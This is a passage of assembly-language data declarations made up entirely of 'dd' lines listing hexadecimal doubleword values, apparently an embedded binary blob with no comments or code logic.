0E7EA9720h dd 85FD10Ch, 506277C2h, 48DFC20Bh, 0F2034F7Fh, 649395B8h dd 0EE69BFD8h, 5B0EAFCh, 6288A24h, 0DBC28EBCh, 8974FB4Eh dd 77800EEAh, 0D0E59C8Fh, 0C1016817h, 14F9F8DEh, 6A9C50C6h dd 6752C0DAh, 90FB81BCh, 4284032Ch, 0E1576118h, 0C5F0011Ah dd 0E94B6225h, 8F271010h, 0AB940E9Ah, 0E2A05D93h, 8EEF3B9h dd 0C0E74800h, 71887626h, 2149485Ch, 9641932Ch, 0B02C008Ch dd 3108ADB2h, 806EB139h, 35E0BC03h, 94EA0EAh, 0A11DBF88h dd 8C965B00h, 90073A7h, 14369DDCh, 1D99132Dh, 0F058F738h dd 0E3858748h, 0A10EB001h, 0B3808B50h, 62EEF0h, 19812803h dd 85BEEACAh, 7679B960h, 0ACDA71h, 0DBED3702h, 3080883Dh dd 1E2180FDh, 3FB8CD6Ah, 0EFD6009Ah, 0B1AC395Dh, 2000104Eh dd 0A637DDA1h, 0E9E48h, 823DBF30h, 10311612h, 73773479h dd 0FDF3Bh, 3E51E79Dh, 3A27DC0h, 89066777h, 2D3A1BAh, 0A8ADA800h dd 0C0467527h, 0DF35041Dh, 0BC9C04h, 779F6DB3h, 32690129h dd 38A1BD2Eh, 8839817Ch, 63DC477Bh, 15E6118Ch, 86009B3Ah dd 9FEDAC46h, 9136F2h, 0C70C0E09h, 2F223967h, 0ADB10F00h dd 46056319h, 15E700DCh, 0F889255Ch, 0ABF029AFh, 13621401h dd 5A61E5A2h, 0B356C0D3h, 54840648h, 21072242h, 41F03F3Fh dd 501F80E0h, 0E97B1C0Dh, 3C172800h, 0F998C700h, 3B01792Eh dd 0F08200DEh, 7B39AABDh, 2203E7B3h, 15621E56h, 1884FBC4h dd 5103CF81h, 4C0088E9h, 11817F12h, 38B1A25h, 129565Fh dd 169D2842h, 919E1848h, 0EA0015C8h, 66A8751Ah, 1E25C188h dd 4C0DCAh, 86402E0Bh, 8930F885h, 0B78388B4h, 0B9616790h dd 6AEB10C2h, 860160FCh, 3B213574h, 50801B1Ah, 79DDE672h dd 45018039h, 6C258447h, 898008CCh, 0A19283CFh, 963B5968h dd 7E2192C1h, 7805110h, 0FDE66DDFh, 457106A0h, 42D700ADh dd 0D4D2E80h, 823035C8h, 0FC54A87Ch, 3D3930D5h, 138A2F28h dd 6BB5715h, 0A26707C8h, 0E440410Eh, 0E2C43231h, 0DB72D9h dd 6D9B9279h, 0E5343CDh, 5C1C99C2h, 7490A341h, 0C2FD8F2h dd 387902CCh, 0D588FE8Ah, 6A8E21C0h, 1608CB00h, 0FBE9E074h dd 785300C4h, 0A306EE6Eh, 94A87EE5h, 39901925h, 805D453Bh dd 619ABCB8h, 3C351802h, 0C93873E1h, 0B8DE1094h, 397DE518h dd 0B0006F8h, 6B0E761Ah, 28DDE88Eh, 71A82AF9h, 0C87208DEh dd 0CF0614B6h, 38653Ah, 0F53493D3h, 5C452B95h, 4032700h dd 7E9F3BB2h, 6E383A87h, 98308C9Fh, 510EE94Dh, 0F843D800h dd 0D175BAABh, 297D005Bh, 6CA4301Fh, 3F482C42h, 807C885Ch dd 827ACEDDh, 0DF027ED7h, 1DCD2F25h, 520489Eh, 0B6B12491h dd 48A4011Ch, 0CB79A906h, 3DC8100Ah, 6D94E026h, 30907548h dd 97DBF21h, 98132B43h, 0E53491FCh, 58218071h, 0E8746CB4h dd 0CEF71869h, 0E2C5D0F6h, 5025DA00h, 0B026AF3Ch, 30110486h dd 802304D2h, 29A4510Ch, 42C3B219h, 80876F10h, 0C1B4C52Ch dd 8544C4D2h, 0A8C17318h, 0CF47B041h, 0BB304360h, 84A748C4h dd 545D4440h, 36A442h, 0E7F65FFh, 0B34E0FD0h, 2C998217h dd 0C38F1500h, 0C03ECCECh, 0FFE068D1h, 9FF41204h, 53FB302h dd 0E0573CBEh, 0A0538EBFh, 91D221F4h, 6C0F3E68h, 4046C7B7h dd 0A20F99BEh, 0C047A081h, 0C5127B3Ah, 5F880077h, 0CB1D2966h dd 0E77BF053h, 9002E524h, 0D1CD2600h, 0E8079C60h, 5B7F0088h dd 1255AEA5h, 0D90027C3h, 0EF2E697Bh, 9E642h, 371ED496h dd 0C2A45B33h, 4783ED00h, 7DD7F6C1h, 0E8F40165h, 0A0FF09DBh dd 4D98E07Ch, 24663501h, 0DE903C1Ch, 0E7E0F4h, 0F1ECC96h dd 0EBC09A72h, 0B41CF100h, 0A5CAE2C7h, 9C9844h, 0C483B2A4h dd 8C8043D1h, 0DD60BB05h, 0D4453886h, 0B44C625Dh, 24A030BDh dd 72889B1h, 488A1B5Eh, 0AAC47285h, 1D42904Fh, 0F61B2FC7h dd 1F207576h, 0CF7C7C5h, 751475Ch, 0B724570Fh, 6A0EE06Bh dd 181868E4h, 49B4FCD5h, 2600E935h, 0BEEE9407h, 3C7EA31h dd 23246E2Eh, 73C06B8Ch, 8AF479C4h, 0C5C958A3h, 2F4183A6h dd 43B7BBAh, 0CC34B518h, 32A20005h, 0F6F0DCh, 63852D04h dd 9239E10Ch, 1DECD8C4h, 0E05D8088h, 18AC61DDh, 0D287B7F5h dd 0D47D1401h, 182028EDh, 0A472F248h, 0E8DA103Ch, 34A5004Dh dd 0CDFC74A1h, 30236CD5h, 40408420h, 2B5F34C5h, 74A4018Ah dd 11ACC672h, 96CCD348h, 62D8E289h, 0C9F6317Eh, 140040C4h dd 0B347E7B5h, 3089179h, 0B7A44953h, 21026483h, 3094C651h dd 32006001h, 34755815h, 88F93FC5h, 1B19304Ch, 8588791Eh dd 16057824h, 418CBDA9h, 0CFB1A188h, 0D0888B48h, 8B4401C7h dd 0B1A8A5E1h, 2B6E007Ch, 439934E4h, 909A3625h, 4F633F7Ah dd 0ADE869h, 0AA9BF131h, 0F40C3C3Eh, 0A01C7700h, 0BEE15835h dd 2C01061Fh dd 705F48D2h, 0DAF020F6h, 102FD434h, 0E245481h, 405D1511h dd 3866F364h, 0FD01B47Fh, 0BAEC4481h, 0E5DCFCD6h, 7CC0A02Dh dd 0D0B54C6Eh, 5F958B17h, 31CDC614h, 42012022h, 39EE528Eh dd 35C4C7B1h, 7465499Ah, 88F11C40h, 79C05C5Dh, 96EBAFC8h dd 0FDF7026Bh, 0D22D972h, 0B8200844h, 40B26245h, 429D18Ah dd 0CF4BD378h, 17C86090h, 6BDAF400h, 4EC1EA3h, 0A7BF37FDh dd 0C926D028h, 0B891E805h, 24581600h, 0FE97F7A0h, 2E1B2A21h dd 225C92F4h, 850A0DDEh, 0E8874198h, 7254205h, 97900C5Fh dd 59A1AB18h, 794986ADh, 4AC5624h, 60C8D997h, 0ADCDF901h dd 826C249Ah, 705A1820h, 0B8E0A063h, 33B08142h, 22684C88h dd 0DC6B0070h, 79A8BEB2h, 0DB37B1A4h, 0AC6A3046h, 0C5FC1901h dd 608225BDh, 4AEE4072h, 8083B8A7h, 97433F7Dh, 8CACDFAh dd 0B28B0844h, 40430580h, 4E90C01Dh, 0BDD5FD06h, 0DB04504Ah dd 6424E882h, 5348E4C0h, 0F40851EEh, 401AF020h, 1B182867h dd 3F180E56h, 814E60E1h, 648A29B3h, 0F8905092h, 0BC2F212Eh dd 0B9F08280h, 0D65742Eh, 0F561DC8h, 43B5CC40h, 0C07C2D5Ch dd 88B7B4C3h, 0FC88A96Fh, 7382CE20h, 12F892B0h, 839A3DC1h dd 0D9C0CB18h, 0E2092AF0h, 90E66CEEh, 3DFA0148h, 0D6939775h dd 7DD40D41h, 0CE8088D9h, 78831461h, 7DEE1B82h, 2665DC03h dd 10541D49h, 0F6291E21h, 0D931C54Ch, 290360CFh, 0E8CE9674h dd 0B4D01F0Fh, 6AD6A046h, 6958818Ch, 4901B925h, 50485C26h dd 9F8B998h, 3C7BF100h, 12884903h, 0E856120Bh, 0BA94202Ch dd 14804093h, 3DCC2A1Ah, 0B8D4F994h, 0C58B00B0h, 8D29F8DAh dd 110BF60Fh, 46F4BF3h, 0FC0D240h, 2E332D24h, 2C4C43Ch dd 89C2E032h, 584CE886h, 8C08FC1Eh, 1022384Ch, 0EF0E156Ah dd 0A981EC04h, 84B3881h, 5A604475h, 0F75C2F01h, 0D49371B5h dd 7B229423h, 65DD1509h, 0E0740003h, 0C05A5CC3h, 703E5259h dd 3A09EAE7h, 91DE72E3h, 4C62CF84h, 0A80A1E05h, 0DCE7C088h dd 0B45C02AFh, 629A01C8h, 67E2A212h, 604E6980h, 0CC70E018h dd 80219E3Ch, 6983477Ch, 0A482B7B3h, 6EC480E8h, 808C94E6h dd 99FAF55Ch, 58005696h, 0E962AEACh, 3FEBD7h, 6B2A9CD3h dd 43C54688h, 99072E30h, 2639428Dh, 0AD0FCFh, 0C877F328h dd 64E3122Dh, 4728C4F0h, 5920A4F9h, 0AFE830DDh, 2B09ABE1h dd 0E6589201h, 0E2F21769h, 4119848h, 844CA9BDh, 5670C2E4h dd 0DDFC3048h, 0BC310528h, 2BB98113h, 8FC52449h, 0E5E1A19Ch dd 498F39B4h, 0A0ABE815h, 0D044E0A9h, 85DA8D00h, 208BE119h dd 16F502FBh, 689225C1h, 0F10D7C40h, 48BA6533h, 0F622E3C4h dd 0E67400D0h, 4A8E4519h, 5CB8AC37h, 84444h, 313517EAh dd 0B4D3ED75h, 0CD3CEF09h, 90088295h, 88470571h, 4A71378h dd 10DC408h, 9F348A53h, 205031B5h, 44942C78h, 909AF48Fh dd 6C26421Eh, 0F0C685ECh, 0F04CD705h, 7FCB7350h, 618E2E00h dd 0A937FD3Fh, 0D6A7099Ch, 0D4A876F0h, 0FDDD6290h, 4B25AC60h dd 3086E880h, 402841B0h, 4600147Ch, 5921D2F5h, 2E0FE01h dd 18131B55h, 90680B86h, 99622CF0h, 61F71280h, 8828C178h dd 0ECAB610Eh, 43307474h, 6CC73208h, 0C65C297Fh, 7CA68030h dd 0C635C5E6h, 0E120AB89h, 5918CD77h, 4CD08672h, 0CC63180Dh dd 8A2F2929h, 0E78CE854h, 681F0C32h, 7D0F0E12h, 0EBC698F8h dd 0E82A08A4h, 0AC85B830h, 0C8202B13h, 12C7CACBh, 12FBE1Dh dd 0C5EEA304h, 0A679802Dh, 1DDFAE6Fh, 202E69BAh, 0A1DC8C82h dd 0EE6DE120h, 8318A8ADh, 8CCD54F8h, 114331DEh, 653271h dd 48D6D36Ch, 60007FFAh, 25BBBA86h, 650E6352h, 0C0F9612h dd 178041C5h, 471BE2E6h, 485F5A1Ch, 839734ACh, 8F01FF0Fh dd 0A0FD0029h, 0FACA108Ch, 1E0F06A7h, 0D98A3813h, 4C888B28h dd 0A5CF5F15h, 309A48A0h, 53B3D1A4h, 3F010999h, 90E09129h dd 0C201E5DBh, 5BFD46A6h, 5C62D465h, 0B2096405h, 0FCEC8889h dd 3B687601h, 0EB2143BFh, 4A0B6193h, 9EB80A68h, 0B2854482h dd 4A88C2FAh, 5891D0A6h, 2312288Dh, 280A144Ah, 0F1D37E70h dd 90DC5892h, 3B372C50h, 40F44A1Eh, 58265A9Dh, 3A44515h dd 7F46B6C1h, 4068A509h, 4E2124Fh, 8A3890EEh, 0E7001CB3h dd 7A857D5Bh, 0C60B039Ah, 41D5E591h, 3159AD37h, 15D63C4Ah dd 0A4EF2443h, 0D7AE280Bh, 1189D498h, 0C8344BEDh, 77035EC5h dd 198EEBE6h, 0BB7EEB5Eh, 3D0FE47Dh, 0FC05C740h, 84146846h dd 2B48D85Dh, 0BC64BCA4h, 8A33B26Ch, 0F7186143h, 42080169h dd 98242B21h, 0B828E951h, 0AED9730Ch, 54A16761h, 409108E4h dd 0EC09EE1Eh, 10FB4022h, 79E1DE98h, 0DFC7070Bh, 71EE5528h dd 0F7F65C6Fh, 1E709150h, 0E5E70109h, 38BC8664h, 0B48B0F81h dd 0CB8A295Ah, 23966520h, 0FD2E8BCh, 988EA082h, 202F9C41h dd 470277A0h, 1C137DCBh, 2DE87822h, 7C00BEE5h, 0CF3B265Bh dd 2ED0FD00h, 0CDB10BB3h, 97238E4h, 0BD71C180h, 0EC7A2DE0h dd 0C93A0500h, 2B20B49Dh, 0CDEA03h, 0DC3B4D97h, 0BB2136EEh dd 0E784650Fh, 0DD3E0D1h, 724C7682h, 13EA0035h, 98250633h dd 40C1A688h, 4EA0C783h, 40368C00h, 8974C000h, 3D6FABE7h dd 72AF0315h, 2E2DDE76h, 250A03B0h, 19506D00h, 0C789D92Ah dd 3B4C0084h, 24F182A3h, 4A9002C0h, 14953C94h, 50F9AA04h dd 0CCEFD8F8h, 74863212h, 80D4D800h, 3AAF1D37h, 2700B50Ah dd 7CC343Bh, 420098CBh, 880D10A7h, 188295C6h, 40EEA4EFh dd 72000BBCh, 23AAAD8h, 370B215h, 315CD076h, 70D733FBh dd 12F6A74Eh, 0F394201Ch, 0E0358680h, 203CF2EEh, 3AE276B1h dd 90780EF6h, 2800D2F2h, 2E1E1827h, 416B7Fh, 980FCEEBh dd 0E54785F3h, 0C3A8DF0Eh, 7279E33Ch, 0F7DF8CDh, 38BE4C0Eh dd 0B0EB9452h, 0CB82D6h, 8475B740h, 1B3AD120h, 77901500h dd 3124DB76h, 0A3300AFh, 0F4B36BCBh, 9D001019h, 0E24B51C8h dd 7DF3EED9h, 0B6C20035h, 3703E4D1h, 0CB00AF33h, 3E4ECC9Ch dd 430B16h, 0E37E502Dh, 0C18BD41Bh, 0E8816D00h, 3AF1E4D9h dd 0F340CEB6h, 152064E0h, 0E0F4CB8Ah, 0F93D3000h, 6B3E4917h dd 14A7004Fh, 0A0F88620h, 1338E74Ch, 0C02E81F1h, 0ADCD83C3h dd 0D98A1F01h, 0AB8C6614h, 0D7FE27F0h, 3F36FD00h, 0CA8468BBh dd 357E1FD4h, 77CD4120h, 3327EFh, 7962539h, 70F1973h, 71A0F057h dd 0FD00D53Bh, 7EF235CFh, 7A7D1BDh, 0BE18050Ah, 9FD9806Fh dd 10001D3Bh, 586CC249h, 0A71BE9h, 8D85CE7Dh, 0CCE113E6h dd 77B53D00h, 3AA8DA86h, 0C1070009h, 2CE9760Ah, 1907E640h dd 0B3673849h, 9BD41490h, 4E9400CBh, 0FEAC1339h, 0C302BF32h dd 6FB0D6B1h, 0DACC0CEh, 9FCF1077h, 74041035h, 0C513101Fh dd 2457C181h, 0FE046F88h, 6E88CBC0h, 0A003C89Ah, 84DE4894h dd 0F2D1B352h, 60349592h, 70DC956Bh, 0D17B8700h, 0DE9A5B79h dd 34830474h, 28A77F10h, 266C20E5h, 7278DC7Eh, 0B026E44h dd 0FC75EB8Bh, 9EEBCC3h, 2258209Dh, 25F8EB84h, 0F0E8E80Ah dd 700FA78h, 69ADCDCCh, 111257Ch, 0DD9F5FCh, 0F7294571h dd 0E0ED1025h, 0C8E145Ch, 5D5DDEEh, 990EA220h, 411DDE7Ch dd 14A84C6Eh, 0F6724FDCh, 20D42FE6h, 0F8818C20h, 3C010F54h dd 78F6127Bh, 1C4CDFCDh, 20D98249h, 1E3DC400h, 2A84B9Ah dd 80B7BE0Fh, 0E45EE240h, 0D1F350h, 6DAF5ACh, 696C9C20h dd 16D21107h dd 85C1E667h, 0D1B18023h, 0E22EB5C0h, 5833F07h, 5E4806A4h dd 90015A23h, 41988B09h, 1AF050A1h, 999F90ADh, 6075BC04h dd 2374EBB2h, 801198FCh, 1CC3B28h, 482FBA11h, 0C8B34A84h dd 0FC4B3F0Dh, 738268D0h, 29B702AEh, 275F0171h, 0A360A4F8h dd 0AE7C6121h, 0D0830081h, 0B57DEAB6h, 73014757h, 25C7BE84h dd 0B8806F06h, 43FBE57Bh, 89E97074h, 5A534261h, 378370A4h dd 6FD88421h, 0B0F0FE89h, 5ECC65FEh, 1F342910h, 657F1FCDh dd 978D9441h, 44803709h, 1F3554h, 12AF5A6Bh, 4787B18Ch dd 75F42295h, 0BA2F0180h, 80033B8Bh, 0AFFCF2h, 0DC9396D1h dd 0C62826C7h, 6D760C00h, 7D63B7C4h, 0D08A25C5h, 185248C8h dd 9E79D73Ah, 1CE49AE1h, 0E82E430Bh, 0FEC47470h, 98260937h dd 0A45A82D1h, 4E325C20h, 0DC2090ECh, 2D0344A6h, 0DFEB9BF7h dd 99E1B78Dh, 7DD009E6h, 4078CC35h, 2E009DE1h, 94D3B59Fh dd 74018EF3h, 1E8271B1h, 1E20EF3Ah, 6E484099h, 66974336h dd 790CE60Ah, 9481A875h, 0BA29B3AFh, 23A5BFDh, 5F89CC48h dd 0D4C8C81h, 190026CBh, 9130AE6Fh, 0B6220026h, 0AE786501h dd 9C8229F2h, 0C5FDB451h, 210035C5h, 460979C9h, 5A746A3Bh dd 6D2F2590h, 76A78860h, 25E5D22h, 0C3CC8073h, 0E0045CC1h dd 74308CACh, 0CC768521h, 16F9900h, 0D0BD9726h, 9139005Dh dd 0C8428478h, 722830ACh, 2F0C60C2h, 983E57B2h, 225A0FDCh dd 3883BAE3h, 80404839h, 44730990h, 0A4C87354h, 0E0818600h dd 0BF77EC55h, 4F1A03CEh, 0EA202CF1h, 0B583DBF0h, 1140644h dd 70C6FAE5h, 207227B1h, 2C0236ECh, 1B280159h, 730749Eh dd 4019AF8Dh, 15C1D843h, 88043C48h, 62F7807Ch, 0A63FDA71h dd 40121DF4h, 90202B43h, 40CDE10Dh, 0D2F8B6A4h, 0D82DA031h dd 98E14265h, 0D19891A9h, 3F571831h, 998084E7h, 0A02D632Eh dd 200E5E4h, 5C6D9017h, 603B89ADh, 62FFF114h, 6E03A893h dd 0F1F08676h, 0B198178Bh, 886CD620h, 0C2028A46h, 0E986421Fh dd 47103631h, 69481FCAh, 1E66003Fh, 26426C50h, 7441C104h dd 2F91D464h, 0F5220003h, 0D226A851h, 97BBF0C8h, 515804A6h dd 2E46600h, 0C7C203B8h, 6412273Dh, 6D833463h, 30D4B0A6h dd 0E67D81E8h, 4C6081FDh, 6D7C0545h, 0B8E5D5FCh, 84750318h dd 8FE1F0h, 6E41B838h, 4ADF406h, 0D22130C3h, 4448DD64h dd 5E8D8039h, 0EBB43C6Ah, 0E090AC5Ah, 9F7CD9AFh, 0D2731880h dd 0C77E6DF8h, 87E0744Dh, 0FCF2EBB1h, 100C3190h, 0EB8A24h dd 512EC7B3h, 46B86809h, 45BF8E0Ch, 4081B07Ah, 0E82CDE90h dd 463B100Bh, 0FCE2946Eh, 0CCC58B68h, 0EBB52180h, 13C7A389h dd 0F00AE635h, 4349F080h, 0A1B306E0h, 13F930D1h, 0B429CD1Dh dd 6504C7F4h, 320D4912h, 183028D9h, 9B297D8Ch, 72BB1128h dd 0EAAE7D00h, 0C5F110C1h, 0C8C0C1BFh, 83750A25h, 0ADF88380h dd 51804B9h, 1D7CCA28h, 291EA8ECh, 0D3BA3062h, 3110DA99h dd 0D64FA001h, 8FA3B227h, 47E0002Fh, 9303EFFCh, 625FFB02h dd 0C42CB1ACh, 4D3F2C10h, 9B04411Ch, 784B110Dh, 19036300h dd 2589DD09h, 39840579h, 0E3A9B847h, 0AEED9851h, 8601092h dd 90A4CEA0h, 1D21203Ch, 465D347h, 82E73F0Ch, 3C743740h dd 0D1072EEAh, 50A06894h, 4CF58E6Dh, 0B103403h, 23B90024h dd 0AED6C41Ah, 49A0250Fh, 328ECE0h, 5C808E5Ah, 5859E105h dd 0D18544A7h, 0B5A821DFh, 0D48104AAh, 0F037EBEh, 0EE5341D8h dd 50541E4Ch, 0B3EA9E8h, 54AF0114h, 9635988Ch, 0EA2A7052h dd 11349D44h, 0D8628009h, 201699h, 0C03B874Fh, 91D7942Bh dd 69C5E613h, 914C74F0h, 18BF7928h, 0AC2E00F0h, 6D774BBBh dd 149FDA72h, 43B60030h, 7BF59B2h, 7A09CEE3h, 0D899AC66h dd 246EEEB4h, 80E0955Ch, 0F91B2465h, 7D013769h, 4DBC23Fh dd 2C47E115h, 0EF743130h, 0C02013BEh, 8B9A00A4h, 3776EC66h dd 67788C0Fh, 0BD448196h, 70645B5Ch, 0FE7F697h, 5F90D8BBh dd 6E6E7BBEh, 0CCA460F3h, 86237C1Fh, 13321139h, 0B400344Dh dd 0E535F7AFh, 0B4D203EAh, 0CE8DD446h, 0FD6DD0A0h, 0B8834116h dd 702E840Bh, 0E6D20744h, 3B91A9CDh, 0D07E5005h, 142D94DCh dd 52FBF0A1h, 0F097C7D8h, 75870A91h, 5A9290E3h, 0A725056Ch dd 9114970Dh, 0EA89800Ah, 388FBD1Ch, 6AB2C7DBh, 0F8337890h dd 46FC6FEBh, 0D2270h, 0F2EBB630h, 2739F65Ch, 2EAF9E12h dd 467D6809h, 141620ACh, 0C2D9D003h, 0C262C80Bh, 0C16CCD63h dd 58AD4D8Ah, 6C097DB8h, 0D0FBC9B1h, 16389828h, 208B5CDh dd 0F0C84728h, 95604884h, 77588210h, 7D0498ECh, 44C1C2CCh dd 9A204B62h, 994CC7Fh, 306FCF5Ah, 0D46E482h, 42117711h dd 0BC206A28h, 3D1FD7F5h, 0D0D0CB46h, 1823887Ah, 9587D91Fh dd 7C0F2B12h, 1540C18Bh, 0FC622143h, 3830805Ah, 1137F104h dd 0B730C0B3h, 0C262B5D7h, 84199878h, 0DB8F8853h, 3BC905A3h dd 18A69C40h, 311EC03h, 5C094449h, 4C038435h, 659520DCh dd 702AC2ADh, 6CCA000Bh, 81B85057h, 30943FF0h, 7C607A44h dd 0C17437CCh, 72990087h, 8306DBCCh, 0FE589500h, 43F3890Ch dd 9FE8E8AFh, 0C132B482h, 0DE223450h, 0F1E6FAB9h, 0D9909457h dd 8AFA6h, 526BC59Bh, 6ED177DBh, 40329A01h, 10440EABh dd 64ACA9C0h, 647DA939h, 0C145DC1Ch, 54483094h, 71A08F4Ch dd 5322D1E0h, 91125882h, 0A80806B5h, 0EBB8C077h, 884EFC72h dd 25002Ch, 0C2CBEB89h, 0E5F753C4h, 385FA1Fh, 46B47089h dd 0A7833FD4h, 71C5FC09h, 3C9A060h, 3F08BB55h, 0F8486C13h dd 0AE71C131h, 0D0BEA4BDh, 6B40BEC4h, 0A3E0AE7Ah, 0B2F87007h dd 15218A5Ah, 51C8CB24h, 0C456059Bh, 6079A762h, 38CC6390h dd 0E474C12Bh, 9C007611h, 936ACC75h, 920008C2h, 0FCE0C597h dd 0BA5C51DDh, 0BBFE2D10h, 9358BCC4h, 882D1084h, 1CBA3B71h dd 8476C882h, 18E8B14Bh, 2122ED2h, 5CCB621Ah, 69C07788h dd 0E6354h, 0F790CF59h, 7218131Ch, 157002BDh, 2634E6E8h dd 5B3D348h, 885DFDA2h, 0C9017C10h, 0E0D76BC8h, 0D430D22Fh dd 794166h, 7F5C5F4h, 5EFD0D0h, 0C754E3E5h, 9C8088A8h dd 5003BA53h, 0F5E081B5h, 4A002585h, 8A248B51h, 8F00EC21h dd 0B64D8446h, 0B45D4CB7h, 0CD73FE04h, 87C80D9h, 109820Eh dd 40B037E2h, 0BBF5E5B4h, 0D9AF07A0h, 4C511830h, 8FE01026h dd 32008388h, 6F9002F1h, 90FDA7CEh, 3AF92DFDh, 26DC7C48h dd 2C6F70D3h, 566D4400h, 0D2725A6Bh, 4B0E35Ch, 0C7FB2E0Ch dd 0CE2ACF2h, 7A7330h, 2E052FD1h, 4DCFB7C0h, 462B481Fh dd 6600D828h, 0F21A31F9h, 13AB206Bh, 0C254EE3Fh, 784561F8h dd 5B6077E4h, 7304E36Eh, 0A071B8Eh, 3E2520C1h, 8380832Ah dd 6A813181h, 82B7F808h, 4C9FBA29h, 2DD50848h, 0CF126896h dd 0EB00D0A9h, 0FC964A36h, 22007B76h, 4518C624h, 6994BB8Eh dd 601DB0B1h, 0FF807411h, 4D3F2621h, 86E6EF00h, 0D44520CBh dd 2BBE041Dh, 0B57D64D2h, 1023E1A8h, 0BADA5C18h, 0D1F091C4h dd 0DD1871h, 95342246h, 4A842667h, 149EDE02h, 0A47ADF73h dd 5C81758Ch, 0B838B1B9h, 0E4674800h, 0C7F70207h, 8C155001h dd 5E81CC62h, 41C4020h, 6B730436h, 88188E6Eh, 4F56C10Ah dd 5D0870ADh, 90C20BDh, 0EA2B77C0h, 7F3C3B52h, 0DFB1AF0Bh dd 37135C70h, 0BC4002E1h, 46BAF72Eh, 0B4848AA7h, 0AE756035h dd 412925B1h, 670F9416h dd 0A0F7AE7Eh, 4E43A5A6h, 595A028Dh, 8276D221h, 426130C1h dd 66201FC4h, 482E0BE6h, 7384BCDAh, 1F70E4C4h, 9D656927h dd 80359104h, 0C68536BDh, 72E4071Eh, 222E3AAh, 0C881BBCDh dd 0F0EC9E93h, 78A783DFh, 9260B964h, 7B05E63Ah, 0E4D8EB2Ah dd 38690C1h, 5408E501h, 0CDC08CD0h, 690F9401h, 9C78D251h dd 0C0A5EDCh, 7D2643A4h, 0FB3A3FC1h, 0F4D85B4Dh, 8C510148h dd 3927B759h, 4C8870A6h, 0B18B8509h, 2F054E3h, 0BF2B433Dh dd 82130850h, 0ACC1F598h, 0EC5F96E8h, 5A20E298h, 86529303h dd 0BB029A0h, 721B4858h, 0E885CC40h, 18C0A973h, 0CA1C218Bh dd 571102B7h, 25E9DDEEh, 0E2084CF1h, 46B300A7h, 0B9DAAF8Eh dd 8FBC98B7h, 4FB22F53h, 0A4FB1463h, 0D6BE00FFh, 11028E69h dd 0F8756640h, 11689728h, 2CEA81B6h, 1034EFB2h, 1812096Dh dd 74811D3Ah, 0FE04A33Fh, 7466B089h, 188E44A1h, 7E1F0936h dd 0A465C986h, 1F3E4B80h, 0B0F12EFh, 0C0755FCFh, 930014C4h dd 0AECCECDDh, 1FE49DE9h, 137FD2Eh, 0A9F830F7h, 64EC728Fh dd 0C360B578h, 86237D1Fh, 46443BD1h, 7F1FCB00h, 0CE6D9667h dd 1A03014h, 0BE35C851h, 0BD039FDh, 0A4FC2E66h, 7A604490h dd 0C125CDCCh, 4C0C966Ch, 57018453h, 0FA3794A5h, 344B7E43h dd 0A11882A2h, 0A13C5BC0h, 18765130h, 3A8FAC8h, 6D5C8DABh dd 0B002C551h, 7DCDE6CEh, 9E74580Ch, 2463B7Ch, 0FC78EBB6h dd 581854B8h, 0EB128F2Fh, 0D804A6D6h, 6C096742h, 23442A00h dd 8C9E04E6h, 6AB6C600h, 60264207h, 0E644E109h, 63787E0Fh dd 0ED52A8A1h, 30820475h, 0C7C6048Ch, 6D0BB804h, 0AAECE85Ch dd 7587EE5h, 0A3762A90h, 5BE8700Ch, 7200851Dh, 4A326C20h dd 303DC734h, 8440077Eh, 8688465Ch, 768D7EFDh, 3968009Eh dd 35ACFA66h, 0D7381FB4h, 0D4A89C4h, 6E883040h, 29BE17AEh dd 1C0CB99h, 0A4AE7768h, 0AB20F60Bh, 0F0D1E82Dh, 985A0C0Ah dd 25D1A83Dh, 14132E4Ah, 31C8288Bh, 3CD68AC0h, 0E58002B0h dd 42A149D0h, 7C349057h, 97E7004Eh, 94F9444h, 0DAFC7727h dd 0FDC1D917h, 73F8A800h, 5FB7D366h, 97C5690h, 8050996Ah dd 1C1274Ch, 0BA6C73D0h, 842EBDC5h, 0AD68C8A0h, 8010BF48h dd 8BBD33E2h, 32E14E98h, 108372D8h, 2A7071Ah, 20DABB45h dd 62843A5Dh, 19AF9538h, 3EE71174h, 0BE0FB6D0h, 0FBE2008Ch dd 0D9F88458h, 0DE30BE61h, 167ECA1Dh, 3E184890h, 9C8BCABCh dd 0D4C0BB88h, 28F08653h, 2130B115h, 0DC086732h, 9417694Eh dd 0DD80A311h, 9D87294Ah, 4C946C00h, 0FC7AA232h, 8E5CBCCDh dd 0E5041079h, 0B244E3A4h, 7F413275h, 4D94413Dh, 2A42018Fh dd 0E52C922Eh, 0BD80F893h, 5B0054B4h, 80E764B0h, 0B01B03D3h dd 26ED2130h, 422F6291h, 0A05D8090h, 16B09D20h, 0C08A25E0h dd 14220B54h, 0E8F0A24Ch, 0D97C8C3Ch, 73BDF218h, 0A0D481C0h dd 856FAE30h, 37808911h, 3186791Fh, 449695h, 8F1F3F4Ah dd 489F8E16h, 18C6DA00h, 0E1154044h, 8D4A8B7h, 357B24C0h dd 0E58F07FCh, 0B1DEF08Eh, 30294D5h, 818230FFh, 0D0C0E0BEh dd 48FE78C7h, 0A6246864h, 0AF5B8B14h, 7811001Dh, 8C7A1080h dd 9D098BC7h, 5C8FB1A1h, 99FD0630h, 18FFF0ACh, 801F0838h dd 39C4D986h, 1F60494Fh, 0E0727CFCh, 8F045491h, 44BA6BB9h dd 0F4CF3040h, 1F03F1F0h, 2E51F882h, 0DAE080B8h, 0C90D050Bh dd 122DC99h, 0F92DCDB7h, 94082AC3h, 39718068h, 8E43DE3Ah dd 2B34B002h, 6008609Dh, 28861338h, 0A8290FBh, 0E67559FCh dd 775F001Ch, 0FB2C7E22h, 72008DFAh, 0ECCBFC27h, 0F0CA9BB2h dd 82F609AAh, 84596024h, 8418B979h, 6BBCBA00h, 0FE39F709h dd 121D3BDFh, 0B1CA18CCh, 90D1418Ch, 8482045Ch, 15C5E91h dd 0DC23931Ch, 8554308Eh, 0B021A85Eh, 0FC0014CAh, 7D54CCEFh dd 970044A4h, 33023282h, 24DA53B7h, 1618B310h, 133C21BBh dd 0BD9BF029h, 0ED380CACh, 0B1F51388h, 0C0380027h, 0C136CC79h dd 3C2C644Eh, 0CC7B259Eh, 1F00CC5Bh, 922DC1DAh, 58A2977Fh dd 7E18B77Dh, 0D7D08060h, 843B26h, 0A1066109h, 0E3E13FF8h dd 18E0034h, 0B67D2028h, 2C728253h, 37E50044h, 3C5984B3h dd 620A39E8h, 370ACD2h, 2FF205ACh, 5FD80D38h, 420055FFh dd 0AA08F8BEh, 4EC5E8CBh, 231C2E62h, 0CF77004Bh, 43FF3257h dd 0DDFA1D1Ch, 0C5043F02h, 805C74FCh, 97A7ED99h, 6800A8BFh dd 